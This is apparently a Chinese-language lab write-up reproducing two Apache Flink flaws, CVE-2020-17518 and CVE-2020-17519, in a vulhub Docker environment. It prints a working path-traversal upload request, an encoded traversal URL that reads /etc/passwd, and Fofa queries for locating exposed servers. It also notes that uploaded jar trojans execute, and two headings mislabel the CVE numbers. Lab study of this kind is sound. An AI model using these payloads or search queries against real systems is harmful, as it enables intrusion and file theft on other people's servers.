(CVE-2020-17518&17519)Apache flink 任意文件上传&目录遍历
参考连接:https://mp.weixin.qq.com/s/Nzh5QxMK3XMoISE6Y3UJMA
描述
2021年1月5日,Apache 官方发布新的漏洞通告,修复了flink两个高危漏洞(CVE-2020-17518/17519)。这两个高危漏洞均由于引入存在缺陷的REST API导致。
CVE-2020-17518:攻击者通过构造恶意的HTTP请求配合../实现目录穿越,可完成任意文件上传。
CVE-2020-17519:攻击者通过JobManager的REST API接口结合../实现目录遍历,进而实现任意文件读取。
影响版本
CVE-2020-17518:
Apache Flink 1.5.1-1.11.2
CVE-2020-17519:
Apache Flink 1.11.0、1.11.1、1.11.2
Fofa
app="Apache-Flink"
app="Apache‐Flink" && country="CN"
环境搭建
项目地址:
https://github.com/vulhub/vulhub/tree/master/flink
(因为不会下载单个地址于是就下载了整个项目)
具体注意事项请参考https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
1.进入项目地址
cd vulhub/flink/CVE-2020-17518
docker-compose up -d
2.查看docker环境,发现已自动启动docker环境
docker ps
3.尝试访问文件,环境搭建成功
http://<ip>:8081/
CVE-2020-15718漏洞复现
POC
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
漏洞地址在下方图片位置
可直接上传jar类型木马(木马会自动执行)
请参考:https://www.cnblogs.com/KHZ521/p/14023011.html
可通过../../的方式进行路径跳转
上传失败提示:
上传成功提示
这里查看上传文件发现不存在,可能是因为docker环境搭建的,而我访问的是docker外的物理路径
CVE-2020-15719漏洞复现
POC
/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
结束语
我测试了一下我上面出现的关于文件上传失败的问题,其实是文件上传成功的,不过因为是docker环境吗,而我查看的路径为物理机路径,应该查看dokcer中的路径才正确。是根据CVE-2020-15719中的文件读取,在etc下使用vi新建123文件,但是读取失败并提示找不到文件得到的结论
使用vi新建123文件
读取失败了